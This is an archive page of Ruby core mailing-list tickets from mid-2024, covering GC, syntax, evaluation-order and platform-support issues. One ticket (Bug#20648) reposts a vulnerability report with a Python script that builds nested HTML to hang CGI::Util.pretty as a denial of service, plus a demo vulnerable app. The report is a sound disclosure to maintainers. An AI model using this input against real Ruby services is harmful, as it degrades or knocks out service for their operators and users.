July 2024 - ruby-core - ml.ruby-lang.org

[ruby-core:118520] [Ruby master Feature#20621] Check libruby.so hardening by annocheck
by vo.x (Vit Ondruch) 07 Aug '24

07 Aug '24

Issue #20621 has been reported by vo.x (Vit Ondruch). ---------------------------------------- Feature #20621: Check libruby.so hardening by annocheck https://bugs.ruby-lang.org/issues/20621 * Author: vo.x (Vit Ondruch) * Status: Open ---------------------------------------- As part of #18061, there was implemented annocheck test case. However, the test covers just `ruby` (which is just thin shell), while leaves out `libruby.so` (which contains most of the Ruby code). This PR tries to improve that: https://github.com/ruby/ruby/pull/11123 BTW the question is if all *.so files or even all *.o files should be covered. -- https://bugs.ruby-lang.org/

2 2

[ruby-core:118621] [Ruby master Misc#20639] Request to host C API docs on docs.ruby-lang.org
by alanwu (Alan Wu) 02 Aug '24

02 Aug '24

Issue #20639 has been reported by alanwu (Alan Wu). ---------------------------------------- Misc #20639: Request to host C API docs on docs.ruby-lang.org https://bugs.ruby-lang.org/issues/20639 * Author: alanwu (Alan Wu) * Status: Open ---------------------------------------- Having a first-party documentation site benefits readers and helps contributors improve the contents. The Ruby standard library API benefits from being hosted on <https://docs.ruby-lang.org> and it would be nice if the C API documentation produced by Doxygen can be hosted on the same site as well. I'm not familiar with the logistics of hosting the documentation site, and traffic is not free. But I think this is worth considering for the benefit of Ruby extension authors and maintainers. At the moment, <https://github.com/ruby/actions> generates the documentation with Doxygen but it's not hosted anywhere as far as I can tell. Searching for "Ruby C API documentation" on Google lead to guides about the API and no results that provide a comprehensive up-to-date reference. -- https://bugs.ruby-lang.org/

3 5

[ruby-core:118012] [Ruby master Misc#20509] Document importance of #to_ary and #to_hash for Array#== and Hash#==
by gettalong (Thomas Leitner) 02 Aug '24

02 Aug '24

Issue #20509 has been reported by gettalong (Thomas Leitner). ---------------------------------------- Misc #20509: Document importance of #to_ary and #to_hash for Array#== and Hash#== https://bugs.ruby-lang.org/issues/20509 * Author: gettalong (Thomas Leitner) * Status: Open ---------------------------------------- Both `Array#==` and `Hash#==` provide special behaviour in case the `other` argument is not an Array/Hash but defines the special `#to_ary`/`#to_hash` methods. Those methods are never called, they are just checked for existence. And if they exist, `other#==` is called to allow the `other` argument to decide whether the two objects are equal. I think this is worth mentioning in the documentation for `Array#==` and `Hash#==`. [Background: In my PDF library HexaPDF I have defined two classes `PDFArray` and `Dictionary` which act like Array and Hash but provide special PDF specific behaviour. For PDFArray I defined the `#to_ary` method but for Dictionary just the `#to_h` method. I have come across a bug where comparing Arrays with PDFArrays just works as it should be but comparing Hashes with Dictionaries doesn't due to the absence of `#to_hash` (it seems I removed `Dictionary#to_hash` in 2017 due to problems with automatic destructuring when passing a Dictionary as argument; from what I see that should be no problem anymore, so I will just add it back).] -- https://bugs.ruby-lang.org/

4 3

[ruby-core:118634] [Ruby master Bug#20640] Evaluation Order Issue in f(**h, &h.delete(key))
by jeremyevans0 (Jeremy Evans) 01 Aug '24

01 Aug '24

Issue #20640 has been reported by jeremyevans0 (Jeremy Evans). ---------------------------------------- Bug #20640: Evaluation Order Issue in f(**h, &h.delete(key)) https://bugs.ruby-lang.org/issues/20640 * Author: jeremyevans0 (Jeremy Evans) * Status: Open * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- Since Ruby 3.0, there is an evaluation order issue when passing a single keyword splat and a block pass expression that modifies the keyword splat: ```ruby def f(*a, **kw) kw[:a].class end h = {a: ->{}} f(**h, &h.delete(:a)) # Ruby 2.0 - 2.7: Proc # Ruby 3.0 - 3.4: NilClass ``` For single keyword splats followed by positional argument splats, this has been an issue since 3.3: ```ruby def f(*a, **kw) kw[:a].class end h = {a: ->{}} a = [] f(*a, **h, &h.delete(:a)) # Ruby 2.0 - 3.2: Proc # Ruby 3.3 - 3.4: NilClass ``` Ruby handles these issues for positional splats, duplicating the splatted array before evaluating post, keyword, or block argument expressions: ```ruby f(*a, a.pop) # post argument f(*a, **a.pop) # keyword splat argument f(*a, a: a.pop) # keyword argument f(*a, &a.pop) # block argument ``` So it should handle the case for a keyword splat that could potentially be modified by block argument expression. I'll submit a pull request shortly to fix this issue. -- https://bugs.ruby-lang.org/

4 5

[ruby-core:118010] [Ruby master Feature#20508] Explicit access to *, **, &, and ...
by bradgessler (Brad Gessler) 01 Aug '24

01 Aug '24

Issue #20508 has been reported by bradgessler (Brad Gessler). ---------------------------------------- Feature #20508: Explicit access to *, **, &, and ... https://bugs.ruby-lang.org/issues/20508 * Author: bradgessler (Brad Gessler) * Status: Open ---------------------------------------- I find debugging and certain meta-programming tasks challenging because there's no explicit APIs for accessing certain types of arguments in Ruby. Here's some example code: ```ruby def splats(one, *, two: nil, **, &) # These work p(*) p(**) # But the block doesn't show a proc. p(&) # This would show [:one, :two, :_] p binding.local_variables end splats(:arg, two: true) do 42 end ``` I'm not sure how to access the `&` variable, unless I name it. The same applies to endless ruby methods. I'd like to see a way to explicitly call bindings for those methods. Something like this (not sure if binding is the right place for it): ```ruby def splats(one, *, true: nil, **, &) binding.arguments # Returns an array binding.keyword_arguments # Returns a hash binding.block_argument # Returns a block end ``` These methods would give me access to the values used to call the method. -- https://bugs.ruby-lang.org/

5 4

[ruby-core:118672] [Ruby master Bug#20648] Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk)
by somehacker (Jacob Miller) 01 Aug '24

01 Aug '24

Issue #20648 has been reported by somehacker (Jacob Miller). ---------------------------------------- Bug #20648: Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk) https://bugs.ruby-lang.org/issues/20648 * Author: somehacker (Jacob Miller) * Status: Open * ruby -v: ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- I originally reported this bug as a security issue, because it can be used as a potential DOS vector for applications. It was decided that this issue wasn't a security issue, so I am just going to copy paste the original hackerone report here: The vulnerability exists here (in lib/cgi/util.rb): ``` def pretty(string, shift = " ") lines = string.gsub(/(?!\A)<.*?>/m, "\n\\0").gsub(/<.*?>(?!\n)/m, "\\0\n") end_pos = 0 while end_pos = lines.index(/^<\/(\w+)/, end_pos) element = $1.dup start_pos = lines.rindex(/^\s*<#{element}/i, end_pos) lines[start_pos ... end_pos] = "__" + lines[start_pos ... end_pos].gsub(/\n(?!\z)/, "\n" + shift) + "__" end lines.gsub(/^((?:#{Regexp::quote(shift)})*)__(?=<\/?\w)/, '\1') end ``` The while loop has poor time complexity when parsing html. This means that an attacker can use the following python script: ``` #!/bin/sh # This file is an exploit script to demonstrate algorithmic complexity denial of service in the ruby cgi module. import itertools import string out = "" # Final exploit string how_many_chars = 5 # Just use "ABCDE" for now... chars = string.ascii_uppercase[:how_many_chars] tags = list(itertools.product(list(chars), repeat=len(chars))) # Generate all permutations of those five characters tags = ["".join(tag) for tag in tags] print(tags) for tag in tags: out += "<" + tag + ">" for tag in reversed(tags): # Reverse tags and close the html tags in the reverse order. out += "</" + tag + ">" print(out) # Save the exploit string to "exploit.txt" fh = open("exploit.txt", "w") fh.write(out) fh.close() exit(0) ``` to create a file called "exploit.txt" which when passed to the pretty function causes it to hang. Example vulnerable application: ``` require 'cgi/util' include CGI::Util puts "This should hang with exploit.txt!!!" puts pretty(ARGF.read) puts "Done!" ``` I have attached these files as a zip. To observe the hang, just run ruby vuln.rb < exploit.txt to pass the exploit string to the "pretty" function. Note that this pretty function is used in the html method in lib/cgi/html.rb : ``` def html(attributes = {}) # :yield: if nil == attributes attributes = {} elsif "PRETTY" == attributes attributes = { "PRETTY" => true } end pretty = attributes.delete("PRETTY") pretty = " " if true == pretty buf = "".dup if attributes.has_key?("DOCTYPE") if attributes["DOCTYPE"] buf << attributes.delete("DOCTYPE") else attributes.delete("DOCTYPE") end else buf << doctype end buf << super(attributes) if pretty CGI.pretty(buf, pretty) else buf end end ``` therefore an attacker can cause a denial of service when the pretty function is used indirectly by passing the "PRETTY" attribute to the html method. Also note that this denial of service vulnerability is not due to the poor performance of the regular expressions used in the function (this is not a ReDOS bug), but due to the poor time complexity of the while loop. This means that the ReDOS protection introduced in ruby 3.2.0 (https://blog.kiprosh.com/ruby-3-2-0-introduce/) won't protect the victim in this case. Version information: ``` $ ruby -v ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux] ``` Impact This poor time complexity of this function can cause the victims CPU usage to jump very high while processing the attackers exploit. This overloading can impact service performance and can cause excessive resource consumption. It was later decided to treat this as a regular bug instead. ---Files-------------------------------- demofiles.zip (15.3 KB) -- https://bugs.ruby-lang.org/

2 1

[ruby-core:111272] [Ruby master Bug#19231] Integer#step and Float::INFINITY - inconsistent behaviour when called with and without a block
by andrykonchin (Andrew Konchin) 01 Aug '24

01 Aug '24

Issue #19231 has been reported by andrykonchin (Andrew Konchin). ---------------------------------------- Bug #19231: Integer#step and Float::INFINITY - inconsistent behaviour when called with and without a block https://bugs.ruby-lang.org/issues/19231 * Author: andrykonchin (Andrew Konchin) * Status: Open * Priority: Normal * ruby -v: 3.1.2 * Backport: 2.7: UNKNOWN, 3.0: UNKNOWN, 3.1: UNKNOWN ---------------------------------------- The initial issue was reported here https://github.com/oracle/truffleruby/issues/2797. `0.step(Float::INFINITY, 10)` returns: - `Integers` when called with a block - `Floats` when called without a block I would expect `Floats` to be returned in both cases. Examples: ```ruby 0.step(100.0, 10).take(1).map(&:class) # => [Float] ``` ```ruby 0.step(Float::INFINITY, 10) { |offset| p offset.class; break } # Integer ``` When `to` argument is a finite `Float` value then calling with a block returns `Floats` as well: ```ruby 0.step(100.0, 10) { |offset| p offset.class; break } # Float ``` Wondering whether it's intentional behaviour. I've found a related issue https://bugs.ruby-lang.org/issues/15518. -- https://bugs.ruby-lang.org/

6 6

[ruby-core:118616] [Ruby master Bug#20637] SyntaxError class definition in method body can be bypassed
by tompng (tomoya ishida) 01 Aug '24

01 Aug '24

Issue #20637 has been reported by tompng (tomoya ishida). ---------------------------------------- Bug #20637: SyntaxError class definition in method body can be bypassed https://bugs.ruby-lang.org/issues/20637 * Author: tompng (tomoya ishida) * Status: Open * ruby -v: ruby 3.4.0dev (2024-07-11T06:59:45Z master a1f7432550) [x86_64-linux] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- Class definition in method body is prohibited in Ruby ~~~ruby def f class ::A; end # class definition in method body (SyntaxError) module B; end # module definition in method body (SyntaxError) end ~~~ But it can be bypassed by using `class <<` ~~~ruby def f class << Object.new class ::A; end # Syntax OK module B; end # Syntax OK end end ~~~ -- https://bugs.ruby-lang.org/

3 3

[ruby-core:118481] [Ruby master Feature#20612] Introduce new Epsilon (no-op) GC
by eightbitraptor (Matthew Valentine-House) 31 Jul '24

31 Jul '24

Issue #20612 has been reported by eightbitraptor (Matthew Valentine-House). ---------------------------------------- Feature #20612: Introduce new Epsilon (no-op) GC https://bugs.ruby-lang.org/issues/20612 * Author: eightbitraptor (Matthew Valentine-House) * Status: Open ---------------------------------------- ## Summary [[Github PR 11122]](https://github.com/ruby/ruby/pull/11122) This ticket proposes the introduction of a new GC, modelled on the [Epsilon collector introduced in Java 11](https://openjdk.org/jeps/318). This collector is an allocation only collector (ie. GC is a no-op), and is intended solely for testing and experimentation purposes. ## Background This ticket follows up the work in https://bugs.ruby-lang.org/issues/20470 to extract the GC into a GC interface (`gc.c`) and a seperate implementation (`gc_impl.c`). In order to test the extraction against it's stated goals of being able to load a new GC at runtime we need a "second system" GC implementation to continue testing and developing the interface. Epsilon GC is one of the simplest implementations of a GC that can be used for testing purposes, as it implements the correct interface needed to run Ruby code, but does no collection. ## Design It's modelled on the Epsilon collector introduced in JDK 11: A No-Op collector that implements memory allocation but no memory reclamation. Memory will continue to be allocated until the process exhausts all available memory and is shut down by the OS's OOM killer. This has the lowest possible GC latency, at the expense of memory footprint and throughput. This collector was built by initially copying the existing GC in it's entirety and stripping out the collection related concerns. For this reason it uses the same heap/page/slot allocation strategy as Ruby's existing GC. This choice was made for a few reasons: - Memory throughput: Traditionally and Epsilon collector would malloc every allocation, this GC uses an already established Ruby allocation implementation to reduce the number of malloc/free calls during allocation, allowing allocation to be faster. - Familiarity: Developers of the Ruby GC are already familiar with how allocation works in Ruby, this GC should remain simple to work on. - Simplicity: Using the existing allocation strategy allowed us to develop this quickly, and avoid having to deal with alignment issues, or abstraction leakage issues over the API. ## Usage The epsilon collection can be built as a shared library as follows: Mac: ``` clang -I../src/include -I. -I../src -I.ext/include/arm64-darwin23 -Wall -undefined dynamic_lookup -g -O0 -dynamiclib -o gc/epsilon.dylib ../src/gc/epsilon.c ``` Linux: ``` gcc -O0 -g -I. -I../src/ -I../src/include -I./.ext/include/x86_64-linux/ -Wall -fPIC -shared -lc ../src/gc/epsilon.c -o gc/epsilon.so ``` Ruby must be built with shared GC support, and the correct library directory set in the configure path. ``` ./configure --with-shared-gc=$(pwd)/gc ``` Then, the EpsilonGC can be loaded at runtime using the RUBY_GC_LIBRARY environment variable ``` RUBY_GC_LIBRARY=epsilon.dylib ./ruby test.rb ``` # Evaluation No benchmarking has been done on this code. This is intended for testing only. We verify that the EpsilonGC builds against the current version of the Ruby GC interface in Github Actions. -- https://bugs.ruby-lang.org/

5 5

[ruby-core:118237] [Ruby master Bug#20563] Drop support for old Windows
by nobu (Nobuyoshi Nakada) 31 Jul '24

31 Jul '24

Issue #20563 has been reported by nobu (Nobuyoshi Nakada). ---------------------------------------- Bug #20563: Drop support for old Windows https://bugs.ruby-lang.org/issues/20563 * Author: nobu (Nobuyoshi Nakada) * Status: Assigned * Assignee: usa (Usaku NAKAMURA) * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- This is the table of APIs that we are calling dynamically, and the available Windows versions. DLL | API | Client | Server | ---------|--------------------------------|--------|--------| kernel32 | CreateSymbolicLinkW | Vista | 2008 | kernel32 | GetFileInformationByHandleEx | Vista | 2008 | kernel32 | GetFinalPathNameByHandleW | Vista | 2008 | kernel32 | SetFileInformationByHandle | Vista | 2008 | shell32 | SHGetPathFromIDListEx | Vista | 2008 | ws2_32 | inet_ntop | Vista | 2008 | ws2_32 | inet_pton | Vista | 2008 | kernel32 | GetSystemTimePreciseAsFileTime | 8 | 2012 | kernel32 | SetThreadDescription | 10 | 2016 | However, already random.c directly uses `BCryptGenRandom` that is available since Windows Vista/Server 2008. So I propose explicitly dropping support for Windows older than Vista/2008. -- https://bugs.ruby-lang.org/

3 5